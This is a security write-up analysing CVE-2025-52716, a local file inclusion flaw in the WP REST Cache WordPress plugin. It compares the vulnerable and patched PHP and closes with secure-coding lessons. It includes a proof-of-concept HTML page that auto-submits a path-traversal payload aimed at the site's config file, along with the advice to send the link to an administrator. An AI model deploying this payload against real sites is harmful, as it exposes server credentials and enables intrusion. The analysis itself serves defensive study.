Contents

CVE-2025-52716 Analysis & POC

The WP REST Cache plugin version ≤ 2025.1.0 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require, thereby injecting or reading local files on the server (e.g., configuration files containing credentials), leading to leakage of sensitive information and, in some configurations, possible code execution.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - WP REST Cache: 2025.1.0 (vulnerable) and 2025.1.1 (patched).
  • Diff tool - Meld or any diff/comparison tool to inspect differences between the two versions.

Vulnerable version:

public function settings_page() {
    $this->settings_panels = apply_filters( 'wp_rest_cache/settings_panels', $this->settings_panels );

    $sub = filter_input( INPUT_GET, 'sub', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
    if ( empty( $sub ) ) {
        $sub = 'settings';
    }
    include_once __DIR__ . '/partials/header.php';
    if ( isset( $this->settings_panels[ $sub ]['template'] ) ) {
        include_once $this->settings_panels[ $sub ]['template'];
    } elseif ( file_exists( __DIR__ . '/partials/sub-' . $sub . '.php' ) ) {
        include_once __DIR__ . '/partials/sub-' . $sub . '.php';
    } else {
        include_once __DIR__ . '/partials/sub-settings.php';
    }
}

In the vulnerable version, $sub is the value returned by filter_input() taken from the GET parameter (?sub=...) in the URL using the filter FILTER_SANITIZE_FULL_SPECIAL_CHARS, which escapes "<>& and characters with ASCII values below 32. This filter does not remove . (46) or / (47).

$sub is concatenated into a string with the '.php' suffix and then include_onced without any protection against LFI.

Patch:

public function settings_page() {
    $this->settings_panels = apply_filters( 'wp_rest_cache/settings_panels', $this->settings_panels );

    $sub = filter_input( INPUT_GET, 'sub', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
    if ( empty( $sub ) ) {
        $sub = 'settings';
    }

    $potential_sub_file = __DIR__ . '/partials/sub-' . $sub . '.php';
    if ( dirname( $potential_sub_file ) !== __DIR__ . '/partials' ) {
        $sub = 'settings';
    }

    include_once __DIR__ . '/partials/header.php';
    if ( isset( $this->settings_panels[ $sub ]['template'] ) ) {
        include_once $this->settings_panels[ $sub ]['template'];
    } elseif ( file_exists( __DIR__ . '/partials/sub-' . $sub . '.php' ) ) {
        include_once __DIR__ . '/partials/sub-' . $sub . '.php';
    } else {
        include_once __DIR__ . '/partials/sub-settings.php';
    }
}

The patch adds a check on the file location before include, ensuring the file to be loaded is located within the partials directory. If a path outside that directory is detected (e.g., due to ../), the plugin falls back to a safe default file. This eliminates the LFI vulnerability.

settings_page() is registered as the submenu callback:

add_submenu_page(
    'options-general.php',
    'WP REST Cache',
    'WP REST Cache',
    $capability,
    'wp-rest-cache',
    [
        $this,
        'settings_page',
    ]
);

So when the endpoint

GET /wp-admin/options-general.php?page=wp-rest-cache HTTP/1.1

is accessed, settings_page() is invoked.

Create a web page with a form that automatically sends a request with the LFI payload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://localhost:80//wp-admin/options-general.php" method="get">
        <input type="text" name="page" value="wp-rest-cache">
        <input type="text" name="sub" value="/../../../../../../wp-cofnig">
    </form>
    <script>
        document.forms[0].submit()
    </script>
</body>
</html>

Send the link to an admin or a privileged user

Warning

This vulnerability can only be exploited on Windows, because file_exists() handles paths differently between operating systems. On Linux, if the path includes a non-existent directory, the function returns false. On Windows, the same path may return true, allowing the condition check to be bypassed and the vulnerability to be triggered.

WP REST Cache versions ≤ 2025.1.0 allow Local File Inclusion via the sub parameter. The patch in 2025.1.1 fixes the issue by validating the file location before including it—ensuring files are only loaded if they reside in the partials directory—thereby preventing path traversal/LFI.

  • Concatenating request data directly into file paths risks LFI.
  • Always validate the real/resolved file location (absolute path) before including.
  • Restrict allowed files by comparing against an intended directory (whitelist) — this is more effective than merely sanitizing characters.
  • Test on multiple platforms (Windows/Linux) since file-handling behavior can differ.

File Inclusion/Path traversal — Hacktrick

WordPress WP REST Cache Plugin <= 2025.1.0 is vulnerable to Local File Inclusion

Related Content